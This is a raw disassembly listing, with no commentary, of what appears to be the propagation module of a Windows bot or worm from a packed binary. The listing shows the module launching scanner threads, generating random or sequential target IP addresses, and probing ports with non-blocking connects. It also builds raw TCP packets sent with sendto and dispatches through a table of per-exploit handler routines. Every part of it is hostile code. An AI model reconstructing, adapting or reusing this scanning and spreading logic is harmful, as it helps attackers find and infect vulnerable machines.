		lea	esi, [ebp+var_1F0]
		mov	edi, esp
		mov	[ebp+var_148], eax
		rep movsd
		call	dword ptr [ebx+2Ch]
		add	esp, 0BCh
		inc	[ebp+var_4]
		xor	edi, edi

loc_40BF6E:				; CODE XREF: sub_40BE20+67j
		inc	[ebp+arg_0]
		add	ebx, 40h
		lea	esi, [ebx+28h]
		cmp	[esi], edi
		jnz	loc_40BE74

loc_40BF7F:				; CODE XREF: sub_40BE20+44j
		push	[ebp+var_4]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset unk_4486D0
		push	eax
		call	sub_41EA60
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_409C75
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_415A3C
		push	[ebp+var_18]
		call	sub_40B9A7
		add	esp, 2Ch
		push	edi
		call	dword_4F53A0	; ExitThread
sub_40BE20	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFD2	proc near		; CODE XREF: sub_401C87+23FCp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B8D3
		test	eax, eax
		pop	ecx
		jle	short loc_40C00E
		mov	eax, [ebp+arg_C]
		push	dword_4E31D0[eax*8]
		call	dword_4E3114	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_448704
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		jmp	short loc_40C021
; ---------------------------------------------------------------------------

loc_40C00E:				; CODE XREF: sub_40BFD2+13j
		lea	eax, [ebp+var_200]
		push	offset unk_448720
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx

loc_40C021:				; CODE XREF: sub_40BFD2+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415A3C
		add	esp, 18h
		leave
		retn
sub_40BFD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C049	proc near		; CODE XREF: sub_40CA91+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40C529
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_44821C[eax], ebx
		jz	loc_40C529
		push	5
		call	sub_40B8D3
		test	eax, eax
		pop	ecx
		jnz	loc_40C2C3
		mov	eax, dword_43F07C
		push	edi
		mov	esi, offset dword_4E528C
		push	104h
		push	esi
		push	ebx
		mov	dword_4E549C, eax
		mov	dword_4E5498, ebx
		call	dword_4F5344	; GetModuleFileNameA
		mov	edi, offset byte_43F10C
		push	103h
		push	edi
		push	offset dword_4E5390
		call	sub_41E510
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4E5288, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4E5520, eax
		jnz	short loc_40C0F9
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4E54A0
		call	sub_41E510
		mov	dword_4E5524, 1
		jmp	short loc_40C110
; ---------------------------------------------------------------------------

loc_40C0F9:				; CODE XREF: sub_40C049+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4E54A0
		call	sub_41E510
		mov	dword_4E5524, ebx

loc_40C110:				; CODE XREF: sub_40C049+AEj
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	esi
		push	dword_4E549C
		push	offset unk_448740
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B691
		add	esp, 1Ch
		mov	dword_4E5494, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4E5288
		push	offset sub_41206F
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, dword_4E5494
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	loc_40C214
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_448774
		push	eax
		call	sub_41EA60
		add	esp, 0Ch

loc_40C18E:				; CODE XREF: sub_40C049+1D3j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415A3C
		mov	eax, dword_4E2DC0
		mov	esi, offset dword_4E5534
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4E5744, eax
		mov	dword_4E5740, ebx
		call	dword_4F5344	; GetModuleFileNameA
		push	103h
		push	edi
		push	offset dword_4E5638
		call	sub_41E510
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4E5530, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4E57C8, eax
		push	7Fh
		jnz	short loc_40C221
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4E5748
		call	sub_41E510
		mov	dword_4E57CC, 1
		jmp	short loc_40C238
; ---------------------------------------------------------------------------

loc_40C20C:				; CODE XREF: sub_40C049+1D1j
		push	32h
		call	dword_4F534C	; Sleep

loc_40C214:				; CODE XREF: sub_40C049+124j
		cmp	dword_4E5528, ebx
		jz	short loc_40C20C
		jmp	loc_40C18E
; ---------------------------------------------------------------------------

loc_40C221:				; CODE XREF: sub_40C049+1A7j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4E5748
		call	sub_41E510
		mov	dword_4E57CC, ebx

loc_40C238:				; CODE XREF: sub_40C049+1C1j
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	esi
		push	dword_4E5744
		push	offset unk_4487A8
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B691
		add	esp, 1Ch
		mov	dword_4E573C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4E5530
		push	offset sub_40F2F1
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, dword_4E573C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	loc_40C33C
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4487DC
		push	eax
		call	sub_41EA60
		add	esp, 0Ch

loc_40C2B6:				; CODE XREF: sub_40C049+2FBj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415A3C
		pop	ecx

loc_40C2C3:				; CODE XREF: sub_40C049+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_448224[ecx], ebx
		jz	loc_40C3F0
		push	7
		call	sub_40B8D3
		test	eax, eax
		pop	ecx
		jnz	loc_40C3EA
		mov	eax, dword_4E5DC4
		cmp	[ebp+arg_90], bl
		mov	dword_4E51F4, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4E51E8, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4E51F0, ebx
		mov	dword_4E5278, eax
		push	7Fh
		jnz	short loc_40C349
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4E51F8
		call	sub_41E510
		mov	dword_4E527C, 1
		jmp	short loc_40C360
; ---------------------------------------------------------------------------

loc_40C334:				; CODE XREF: sub_40C049+2F9j
		push	32h
		call	dword_4F534C	; Sleep

loc_40C33C:				; CODE XREF: sub_40C049+24Cj
		cmp	dword_4E57D0, ebx
		jz	short loc_40C334
		jmp	loc_40C2B6
; ---------------------------------------------------------------------------

loc_40C349:				; CODE XREF: sub_40C049+2CFj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4E51F8
		call	sub_41E510
		mov	dword_4E527C, ebx

loc_40C360:				; CODE XREF: sub_40C049+2E9j
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	dword_4E51F4
		push	offset unk_448810
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B691
		add	esp, 18h
		mov	dword_4E51EC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4E51E8
		push	offset sub_40F04F
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, dword_4E51EC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	loc_40C4E2
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_448840
		push	eax
		call	sub_41EA60
		add	esp, 0Ch

loc_40C3DD:				; CODE XREF: sub_40C049+4A1j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415A3C
		pop	ecx

loc_40C3EA:				; CODE XREF: sub_40C049+29Bj
		mov	eax, [ebp+arg_130]

loc_40C3F0:				; CODE XREF: sub_40C049+28Bj
		shl	eax, 6
		cmp	dword_448220[eax], ebx
		jz	loc_40C529
		push	3
		call	sub_40B8D3
		test	eax, eax
		pop	ecx
		jnz	loc_40C529
		mov	esi, offset dword_4E5A64
		push	104h
		push	esi
		push	ebx
		call	dword_4F5344	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_41F5B0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C431
		mov	[eax], bl

loc_40C431:				; CODE XREF: sub_40C049+3E4j
		mov	eax, dword_43F080
		mov	dword_4E5B7C, ebx
		mov	dword_4E5B68, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4E57DC
		call	sub_41EA60
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4E57D8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4E5B68
		mov	dword_4E5B74, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4E5B78, ecx
		call	sub_40AEAD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_448878
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B691
		add	esp, 20h
		mov	dword_4E5B70, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4E57D8
		push	offset sub_40FA20
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, dword_4E5B70
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jz	short loc_40C501
		jmp	short loc_40C4F7
; ---------------------------------------------------------------------------

loc_40C4DA:				; CODE XREF: sub_40C049+49Fj
		push	32h
		call	dword_4F534C	; Sleep

loc_40C4E2:				; CODE XREF: sub_40C049+373j
		cmp	dword_4E5280, ebx
		jz	short loc_40C4DA
		jmp	loc_40C3DD
; ---------------------------------------------------------------------------

loc_40C4EF:				; CODE XREF: sub_40C049+4B4j
		push	32h
		call	dword_4F534C	; Sleep

loc_40C4F7:				; CODE XREF: sub_40C049+48Fj
		cmp	dword_4E5B84, ebx
		jz	short loc_40C4EF
		jmp	short loc_40C51C
; ---------------------------------------------------------------------------

loc_40C501:				; CODE XREF: sub_40C049+48Dj
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4488B4
		push	eax
		call	sub_41EA60
		add	esp, 0Ch

loc_40C51C:				; CODE XREF: sub_40C049+4B6j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415A3C
		pop	ecx

loc_40C529:				; CODE XREF: sub_40C049+14j
					; sub_40C049+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40C049	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C52D	proc near		; CODE XREF: sub_40C87D:loc_40C8DFp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4E31D0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41FBF0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4E2FB0	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4E3084	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41FBF0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40C52D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C575	proc near		; CODE XREF: sub_40C87D+5Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41BC70
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C59D
		xor	eax, eax
		jmp	short loc_40C60E
; ---------------------------------------------------------------------------

loc_40C59D:				; CODE XREF: sub_40C575+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D_0 ; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41FF30
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C5CA
		call	sub_41EB70
		mov	[ebp+var_C], eax

loc_40C5CA:				; CODE XREF: sub_40C575+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C5D7
		call	sub_41EB70
		mov	[ebp+var_8], eax

loc_40C5D7:				; CODE XREF: sub_40C575+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C5E4
		call	sub_41EB70
		mov	[ebp+var_4], eax

loc_40C5E4:				; CODE XREF: sub_40C575+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C5F0
		call	sub_41EB70

loc_40C5F0:				; CODE XREF: sub_40C575+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4E31D0[ecx*8], eax

loc_40C60E:				; CODE XREF: sub_40C575+26j
		pop	esi
		leave
		retn
sub_40C575	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C611	proc near		; CODE XREF: sub_40BE20+5Cp
					; sub_40C87D+A9p ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	ebx, ebx
		inc	edi
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4E3108	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C63A
		xor	eax, eax
		jmp	short loc_40C6A9
; ---------------------------------------------------------------------------

loc_40C63A:				; CODE XREF: sub_40C611+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4E3088	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4E3124	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4E3030	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4E3070	; select
		push	esi
		mov	edi, eax
		call	dword_4E3120	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al

loc_40C6A9:				; CODE XREF: sub_40C611+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C611	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 10110h
		call	sub_41EF80
		push	ebx
		push	esi
		push	edi
		mov	edi, 2649h
		push	edi
		call	dword_4E3088	; htons
		push	dword ptr [ebp+10h]
		mov	[ebp-28h], ax
		call	dword_4E3088	; htons
		mov	[ebp-26h], ax
		call	sub_41EB70
		xor	ebx, ebx
		push	200h
		mov	[ebp-24h], eax
		mov	[ebp-20h], ebx
		mov	[ebp-1Ch], bx
		mov	[ebp-0Ch], bx
		mov	word ptr [ebp-1Ah], 5
		mov	[ebp-18h], bx
		mov	word ptr [ebp-16h], 1
		mov	[ebp-14h], bx
		mov	[ebp-12h], bx
		mov	[ebp-10h], bx
		mov	[ebp-0Eh], bx
		call	dword_4E3088	; htons
		mov	esi, [ebp+0Ch]
		mov	[ebp-0Ah], ax
		mov	eax, [ebp+8]
		push	24h
		mov	[ebp-8], bx
		mov	[ebp-6], bx
		mov	[ebp-58h], eax
		mov	[ebp-54h], esi
		mov	[ebp-50h], bl
		mov	byte ptr [ebp-4Fh], 6
		call	dword_4E3088	; htons
		mov	[ebp-4Eh], ax
		lea	eax, [ebp-28h]
		push	24h
		push	eax
		lea	eax, [ebp-4Ch]
		push	eax
		call	sub_41FBF0
		lea	eax, [ebp-58h]
		push	20h
		push	eax
		call	sub_40AF06
		mov	[ebp-8], ax
		push	10h
		lea	eax, [ebp-38h]
		push	ebx
		push	eax
		call	sub_41E4B0
		add	esp, 20h
		mov	word ptr [ebp-38h], 2
		push	dword ptr [ebp+10h]
		call	dword_4E3088	; htons
		push	6
		push	3
		push	2
		mov	[ebp-36h], ax
		mov	[ebp-34h], esi
		mov	dword ptr [ebp-4], 10h
		call	dword_4E3108	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C7AD
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_40C870
; ---------------------------------------------------------------------------

loc_40C7AD:				; CODE XREF: .packed:0040C7A1j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		lea	eax, [ebp-28h]
		push	24h
		push	eax
		push	esi
		call	dword_4E30EC	; sendto
		cmp	eax, 14h
		mov	[ebp+10h], eax
		jz	short loc_40C7F6
		call	dword_4E301C	; WSAGetLastError
		push	eax
		lea	eax, [ebp-0D8h]
		push	dword ptr [ebp+10h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	eax
		call	sub_41EA60
		lea	eax, [ebp-0D8h]
		push	eax
		call	sub_415A3C
		add	esp, 14h
		jmp	short loc_40C862
; ---------------------------------------------------------------------------

loc_40C7F6:				; CODE XREF: .packed:0040C7C8j
		push	10038h
		lea	eax, [ebp-10110h]
		push	ebx
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		jmp	short loc_40C82D
; ---------------------------------------------------------------------------

loc_40C80D:				; CODE XREF: .packed:0040C834j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		lea	eax, [ebp-10110h]
		push	10038h
		push	eax
		push	esi
		call	dword_4E3060	; recvfrom
		test	eax, eax
		jl	short loc_40C857

loc_40C82D:				; CODE XREF: .packed:0040C80Bj
		cmp	[ebp-100FAh], di
		jnz	short loc_40C80D
		push	esi
		call	dword_4E3120	; closesocket
		cmp	word ptr [ebp-100EAh], 1
		jnz	short loc_40C86B
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_415A3C
		xor	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40C878
; ---------------------------------------------------------------------------

loc_40C857:				; CODE XREF: .packed:0040C82Bj
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_415A3C
		pop	ecx

loc_40C862:				; CODE XREF: .packed:0040C7F4j
		push	esi
		call	dword_4E3120	; closesocket
		jmp	short loc_40C876
; ---------------------------------------------------------------------------

loc_40C86B:				; CODE XREF: .packed:0040C845j
		push	offset aSocketClosed_ ;	"Socket	closed."

loc_40C870:				; CODE XREF: .packed:0040C7A8j
		call	sub_415A3C
		pop	ecx

loc_40C876:				; CODE XREF: .packed:0040C869j
		xor	eax, eax

loc_40C878:				; CODE XREF: .packed:0040C855j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C87D	proc near		; DATA XREF: sub_40CA91+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_4F537C	; GetTickCount
		push	eax
		call	sub_41EB60
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h
		jmp	loc_40CA6E
; ---------------------------------------------------------------------------

loc_40C8C9:				; CODE XREF: sub_40C87D+1FFj
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C8DF
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40C575
		pop	ecx
		jmp	short loc_40C8E4
; ---------------------------------------------------------------------------

loc_40C8DF:				; CODE XREF: sub_40C87D+51j
		call	sub_40C52D

loc_40C8E4:				; CODE XREF: sub_40C87D+60j
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_455FC4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4E3114	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_44896C
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_455DC0[ebx]
		push	eax
		call	sub_41EA60
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C611
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_40CA63
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C9B8
		push	offset dword_4E51D0
		call	dword_4F53A8	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_4E3114	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_4489A4
		push	eax
		call	sub_41EA60
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C99A
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C98E
		lea	eax, [ebp+var_140]

loc_40C98E:				; CODE XREF: sub_40C87D+109j
		push	eax
		push	[ebp+var_40]
		call	sub_409C75
		add	esp, 14h

loc_40C99A:				; CODE XREF: sub_40C87D+EEj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_415A3C
		mov	[esp+2A8h+var_2A8], offset dword_4E51D0
		call	dword_4F53A4	; RtlLeaveCriticalSection
		jmp	loc_40CA63
; ---------------------------------------------------------------------------

loc_40C9B8:				; CODE XREF: sub_40C87D+BEj
		push	edi
		call	dword_4E3114	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41EA60
		mov	eax, [ebp+var_20]
		shl	eax, 6
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41EA60
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C9FC
		lea	eax, [ebp+var_140]

loc_40C9FC:				; CODE XREF: sub_40C87D+177j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41EA60
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_448214[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh

loc_40CA63:				; CODE XREF: sub_40C87D+B4j
					; sub_40C87D+136j
		push	7D0h
		call	dword_4F534C	; Sleep

loc_40CA6E:				; CODE XREF: sub_40C87D+47j
		mov	eax, dword_455FC4[ebx]
		cmp	dword_4E31D4[eax*8], 0
		jnz	loc_40C8C9
		push	esi
		call	sub_40B9A7
		pop	ecx
		push	0
		call	dword_4F53A0	; ExitThread
sub_40C87D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA91	proc near		; DATA XREF: sub_401C87+1F2Eo
					; sub_401C87+5D06o

var_20C		= dword	ptr -20Ch
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_14C]
		inc	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4E30C8	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4E31D0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40C049
		push	0Bh
		call	sub_40B8D3
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40CB5F
		mov	esi, offset dword_4E51D0
		push	esi
		call	dword_4F53B0	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_4F53AC	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40CB5F
		lea	eax, [ebp+var_1CC]
		push	offset unk_4489CC
		push	eax
		call	sub_41EA60
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40CB49
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409C75
		add	esp, 14h

loc_40CB49:				; CODE XREF: sub_40CA91+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415A3C
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_40CB5F:				; CODE XREF: sub_40CA91+63j
					; sub_40CA91+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_4F534C
		mov	edi, ebx
		mov	dword_4E31D4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40CC21

loc_40CB7D:				; CODE XREF: sub_40CA91+18Aj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_448A00
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
